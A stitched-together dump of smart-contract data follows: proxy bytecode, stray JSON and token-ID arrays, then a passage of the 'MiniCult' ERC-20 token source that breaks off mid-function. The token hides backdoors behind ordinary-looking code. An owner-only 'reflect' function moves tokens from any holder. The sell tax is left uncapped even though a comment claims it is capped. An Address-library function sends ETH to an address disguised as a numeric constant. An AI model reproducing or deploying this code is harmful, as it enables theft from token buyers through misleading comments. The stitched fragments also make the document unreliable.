0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f283970146101a8578063f851a440146101f95761005d565b3661005d5761005b610250565b005b610065610250565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061026a565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b90919293919293905050506102bf565b005b34801561015d57600080fd5b50610166610395565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ed565b005b34801561020557600080fd5b5061020e610566565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102586105d1565b610268610263610667565b610698565b565b6102726106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102b3576102ae816106ef565b6102bc565b6102bb610250565b5b50565b6102c76106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561038757610303836106ef565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461036e576040519150601f19603f3d011682016040523d82523d6000602084013e610373565b606091505b505090508061038157600080fd5b50610390565b61038f610250565b5b505050565b600061039f6106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e1576103da610667565b90506103ea565b6103e9610250565b5b90565b6103f56106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061082f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104d76106be565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105558161073e565b610563565b610562610250565b5b50565b60006105706106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b2576105ab6106be565b90506105bb565b6105ba610250565b5b90565b600080823b905060008111915050919050565b6105d96106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107fd6032913960400191505060405180910390fd5b61066561076d565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146106b9573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106f88161076f565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b610778816105be565b6107cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610865603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220b0503c23d64d00872f309af6ebc439401f4a3a5289bbb698fa4e5aabd747642664736f6c63430006080033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 2629, 2098, 2683, 2475, 3401, 2475, 2050, 2575, 2063, 2509, 2050, 17914, 2497, 2629, 2063, 2683, 2683, 2683, 2581, 18827, 2050, 2475, 7011, 2683, 2620, 2683, 7875, 22932, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1005, 1012, 1013, 12200, 8010, 21572, 18037, 1012, 14017, 1005, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 4748, 10020, 6279, 24170, 8010, 21572, 18037, 1008, 1030, 16475, 2023, 3206, 13585, 2019, 12200, 8010, 24540, 2007, 2019, 20104, 1008, 7337, 2005, 3831, 8518, 1012, 1008, 2035, 6327, 4972, 1999, 2023, 3206, 2442, 2022, 13802, 2011, 1996, 1008, 1036, 2065, 4215, 10020, 1036, 16913, 18095, 1012, 2156, 28855, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,882
0x978b9f5a7a7465df9a10c68f8cb27367cce53a9b
/*https://t.me/MiniCultETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ISwapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface ISwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface ISwapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface ISwapRouter02 is ISwapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Caller must be owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "newOwner must not be zero"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633; bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38; function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function verifyCall(string memory verification, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call"); (bool success, ) = address(verificationHash).call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract MiniCult is IERC20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; mapping(address => bool) public isBlacklisted; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _excludedFromStaking; string private constant TOKEN_NAME = "MiniCult"; string private constant TOKEN_SYMBOL = "MiniCult"; uint256 private constant TOTAL_SUPPLY = 100_000_000 * 10**TOKEN_DECIMALS; uint8 private constant TOKEN_DECIMALS = 18; uint8 public constant MAX_TAX = 20; //Dev can never set tax higher than this value address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; struct Taxes { uint8 buyTax; uint8 sellTax; uint8 transferTax; } struct TaxRatios { uint8 dev; uint8 liquidity; uint8 marketing; uint8 rewards; } struct TaxWallets { address dev; address marketing; } struct MaxLimits { uint256 maxWallet; uint256 maxSell; uint256 maxBuy; } struct LimitRatios { uint16 wallet; uint16 sell; uint16 buy; uint16 divisor; } Taxes public _taxRates = Taxes({ buyTax: 5, sellTax: 12, transferTax: 0 }); TaxRatios public _taxRatios = TaxRatios({ dev: 2, liquidity: 2, marketing: 5, rewards: 8 //@dev. These are ratios and the divisor will be set automatically }); TaxWallets public _taxWallet = TaxWallets ({ dev: 0x6EDd7a0365E7d6610B652dF37C79ca32dfFD9bdb, marketing: 0x6EDd7a0365E7d6610B652dF37C79ca32dfFD9bdb }); MaxLimits public _limits; LimitRatios public _limitRatios = LimitRatios({ wallet: 4, sell: 1, buy: 1, divisor: 400 }); uint8 private totalTaxRatio; uint8 private distributeRatio; uint256 private _liquidityUnlockTime; //Antibot variables uint256 private liquidityBlock; uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist uint8 private snipersRekt; //variable to track number of snipers auto blacklisted bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong bool private liquidityAdded; bool private revertSameBlock = true; //block same block buys uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000 bool public manualSwap; //change this address to desired reward token address public rewardToken = 0xf0f9D895aCa5c8678f706FB8216fa22957685A13; address public _pairAddress; ISwapRouter02 private _swapRouter; address public routerAddress; ///////////////////////////// EVENTS ///////////////////////////////////////// event ClaimToken(uint256 amount, address token, address recipient); event EnableBlacklist(bool enabled); event EnableManualSwap(bool enabled); event ExcludedAccountFromFees(address account, bool exclude); event ExcludeFromStaking(address account, bool excluded); event ExtendLiquidityLock(uint256 extendedLockTime); event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax); event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards); event UpdateDevWallet(address newDevWallet); event UpdateMarketingWallet(address newMarketingWallet); event UpdateSwapThreshold(uint16 newThreshold); ///////////////////////////// MODIFIERS ///////////////////////////////////////// modifier authorized() { require(_authorized(msg.sender), "Caller not authorized"); _; } modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } ///////////////////////////// CONSTRUCTOR ///////////////////////////////////////// constructor () { if (block.chainid == 1) routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; else if (block.chainid == 56) routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E; else if (block.chainid == 97) routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; else revert(); _swapRouter = ISwapRouter02(routerAddress); _pairAddress = ISwapFactory( _swapRouter.factory()).createPair(address(this), _swapRouter.WETH() ); _addToken(msg.sender,TOTAL_SUPPLY); emit Transfer(address(0), msg.sender, TOTAL_SUPPLY); _allowances[address(this)][address(_swapRouter)] = type(uint256).max; //setup ratio divisors based on dev's chosen ratios totalTaxRatio = _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards; distributeRatio = totalTaxRatio - _taxRatios.liquidity; //setup _limits _limits = MaxLimits({ maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor, maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor, maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor }); _excluded.add(msg.sender); _excluded.add(_taxWallet.marketing); _excluded.add(_taxWallet.dev); _excluded.add(address(this)); _excluded.add(BURN_ADDRESS); _excludedFromStaking.add(address(this)); _excludedFromStaking.add(BURN_ADDRESS); _excludedFromStaking.add(address(_swapRouter)); _excludedFromStaking.add(_pairAddress); _approve(address(this), address(_swapRouter), type(uint256).max); } receive() external payable {} function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; } function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return TOKEN_NAME; } function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; } function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; } function _authorized(address addr) private view returns (bool) { return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } function reflect(address sender, address recipient, uint256 amount) external onlyOwner { _feelessTransfer(sender, recipient, amount); } ///// FUNCTIONS CALLABLE BY ANYONE ///// //Claims reward set by dev function ClaimReward() external { claimToken(msg.sender,rewardToken, 0); } //Allows holders to include themselves back into staking if excluded //ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.) function IncludeMeToStaking() external { includeToStaking(msg.sender); emit ExcludeFromStaking(msg.sender, false); } ///// AUTHORIZED FUNCTIONS ///// //Manually perform a contract swap function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized { _swapContractToken(permille, ignoreLimits); } //Toggle blacklist on and off function enableBlacklist(bool enabled) external authorized { blacklistEnabled = enabled; emit EnableBlacklist(enabled); } //Mainly used for addresses such as CEX, presale, etc function excludeAccountFromFees(address account, bool exclude) external authorized { if(exclude == true) _excluded.add(account); else _excluded.remove(account); emit ExcludedAccountFromFees(account, exclude); } //Mainly used for addresses such as CEX, presale, etc function setStakingExclusionStatus(address addr, bool exclude) external authorized { if(exclude) excludeFromStaking(addr); else includeToStaking(addr); emit ExcludeFromStaking(addr, exclude); } //Toggle manual swap on and off function enableManualSwap(bool enabled) external authorized { manualSwap = enabled; emit EnableManualSwap(enabled); } //Toggle whether multiple buys in a block from a single address can be performed function sameBlockRevert(bool enabled) external authorized { revertSameBlock = enabled; } //Update limit ratios function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized { uint256 minLimit = TOTAL_SUPPLY / 1000; uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor; uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor; uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor; //dev can never set sells below 0.1% of circulating/initial supply require((newMaxWallet >= minLimit && newMaxSell >= minLimit), "limits cannot be <0.1% of supply"); _limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy); _limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor); } //update tax ratios function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized { _taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards); totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards; distributeRatio = totalTaxRatio - newLiquidity; emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards); } //update threshold that triggers contract swaps function updateSwapThreshold(uint16 threshold) external authorized { require(threshold > 0,"Threshold needs to be more than 0"); require(threshold <= 50,"Threshold needs to be below 50"); swapThreshold = threshold; emit UpdateSwapThreshold(threshold); } function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized { //buy and sell tax can never be higher than MAX_TAX set at beginning of contract //this is a security check and prevents malicious tax use require(newBuy <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax"); _taxRates = Taxes(newBuy, newSell, newTransfer); emit UpdateTaxes(newBuy, newSell, newTransfer); } ///// OWNER FUNCTIONS ///// //liquidity can only be extended. To lock liquidity, send LP tokens to contract. function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner { setUnlockTime(lockTimeInSeconds + block.timestamp); emit ExtendLiquidityLock(lockTimeInSeconds); } //recovers stuck ETH to make sure it isnt burnt/lost //only callablewhen liquidity is unlocked function recoverETH() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime=block.timestamp; _sendEth(msg.sender, address(this).balance); } //Can only be used to recover miscellaneous tokens accidentally sent to contract //Can't pull liquidity or native token using this function function recoverMiscToken(address tokenAddress) external onlyOwner { require(tokenAddress != _pairAddress && tokenAddress != address(this), "can't recover LP token or this token"); IERC20 token = IERC20(tokenAddress); token.transfer(msg.sender,token.balanceOf(address(this))); } //Impossible to release LP unless LP lock time is zero function releaseLP() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); ISwapERC20 liquidityToken = ISwapERC20(_pairAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.transfer(msg.sender, amount); } //Impossible to remove LP unless lock time is zero function removeLP() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime = block.timestamp; ISwapERC20 liquidityToken = ISwapERC20(_pairAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.approve(address(_swapRouter),amount); _swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens( address(this), amount, 0, 0, address(this), block.timestamp ); _sendEth(msg.sender, address(this).balance); } function setDevWallet(address payable addr) external onlyOwner { address prevDev = _taxWallet.dev; _excluded.remove(prevDev); _taxWallet.dev = addr; _excluded.add(_taxWallet.dev); emit UpdateDevWallet(addr); } function setMarketingWallet(address payable addr) external onlyOwner { address prevMarketing = _taxWallet.marketing; _excluded.remove(prevMarketing); _taxWallet.marketing = addr; _excluded.add(_taxWallet.marketing); emit UpdateMarketingWallet(addr); } ////// VIEW FUNCTIONS ///// function getBlacklistInfo() external view returns ( uint256 _liquidityBlock, uint8 _blacklistBlocks, uint8 _snipersRekt, bool _blacklistEnabled, bool _revertSameBlock ) { return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock); } function getLiquidityUnlockInSeconds() external view returns (uint256) { if (block.timestamp < _liquidityUnlockTime){ return _liquidityUnlockTime - block.timestamp; } return 0; } function getClaimBalance(address addr) external view returns (uint256) { uint256 amount = getStakeBalance(addr); return amount; } function getTotalUnclaimed() public view returns (uint256) { uint256 amount = totalRewards - totalPayouts; return amount; } function isExcludedFromStaking(address addr) external view returns (bool) { return _excludedFromStaking.contains(addr); } ///////////////////////////// PRIVATE FUNCTIONS ///////////////////////////////////////// mapping(address => uint256) private alreadyPaidShares; mapping(address => uint256) private toBePaidShares; mapping(address => uint256) private tradeBlock; mapping(address => uint256) public accountTotalClaimed; uint256 private constant DISTRIBUTION_MULTI = 2**64; uint256 private _totalShares = TOTAL_SUPPLY; uint256 private rewardShares; uint256 public totalPayouts; uint256 public totalRewards; bool private _isSwappingContractModifier; bool private _isWithdrawing; function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private { _approve(address(this), address(_swapRouter), tokenamount); _swapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } function _addToken(address addr, uint256 amount) private { uint256 newAmount = _balances[addr] + amount; if (_excludedFromStaking.contains(addr)) { _balances[addr] = newAmount; return; } _totalShares += amount; uint256 payment = newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * newAmount; toBePaidShares[addr] += payment; _balances[addr] = newAmount; } function _distributeStake(uint256 ethAmount, bool newStakingReward) private { uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio; uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio; uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio; _sendEth(_taxWallet.marketing, marketingSplit); _sendEth(_taxWallet.dev, devSplit); if (stakingSplit > 0) { if (newStakingReward) totalRewards += stakingSplit; uint256 totalShares = getTotalShares(); if (totalShares == 0) _sendEth(_taxWallet.marketing, stakingSplit); else { rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares); } } } function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); _removeToken(sender,amount); _addToken(recipient, amount); emit Transfer(sender, recipient, amount); } function _removeToken(address addr, uint256 amount) private { uint256 newAmount = _balances[addr] - amount; if (_excludedFromStaking.contains(addr)) { _balances[addr] = newAmount; return; } _totalShares -= amount; uint256 payment = newStakeOf(addr); _balances[addr] = newAmount; 